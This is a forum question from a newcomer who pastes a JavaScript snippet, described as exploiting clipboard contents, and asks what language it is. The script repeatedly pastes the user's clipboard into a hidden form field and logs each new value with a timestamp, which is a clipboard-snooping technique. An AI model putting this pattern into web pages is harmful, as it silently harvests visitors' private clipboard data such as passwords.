/    Sign up×
Community /Pin to ProfileBookmark

What type of script is this

Hello,
I am a newbie and while searching the net i came across this script.The following script is used to exploit the content of clipboard.
Anybody guide me what type of script is this.
Is this one a java script or VB script etc.

<script>

var interval = 50000;
var prevClipboard = “”;
var clipHistory = “”;

function main ()
{
window.setTimeout(“test();”, interval);
return;
}

function test()

{

document.clippie.SWAP.value = “”;
document.clippie.SWAP.focus();
document.execCommand(“paste”);
document.clippie.SWAP.blur();
newClipboard = document.clippie.SWAP.value;

document.clippie.SWAP.value = “”;
if(newClipboard == prevClipboard)
{
window.setTimeout(“test()”, interval);
return;
}
clipHistory += “—-> ” + (new Date()) + “: “;

clipHistory += newClipboard + “”;
prevClipboard = newClipboard;

document.clippie.MAIN.value = clipHistory;

window.setTimeout(“test();”, interval);
return;

}

main();

</script>

<hr>

Thank you.
Crorepathi

to post a comment
JavaScript

2 Comments(s)

×

Success!

Help @crorepathi spread the word by sharing this article on Twitter...

Tweet This
Sign in
Forgot password?
Sign in with TwitchSign in with GithubCreate Account
about: ({
version: 0.1.9 BETA 5.25,
whats_new: community page,
up_next: more Davinci•003 tasks,
coming_soon: events calendar,
social: @webDeveloperHQ
});

legal: ({
terms: of use,
privacy: policy
});
changelog: (
version: 0.1.9,
notes: added community page

version: 0.1.8,
notes: added Davinci•003

version: 0.1.7,
notes: upvote answers to bounties

version: 0.1.6,
notes: article editor refresh
)...
recent_tips: (
tipper: @AriseFacilitySolutions09,
tipped: article
amount: 1000 SATS,

tipper: @Yussuf4331,
tipped: article
amount: 1000 SATS,

tipper: @darkwebsites540,
tipped: article
amount: 10 SATS,
)...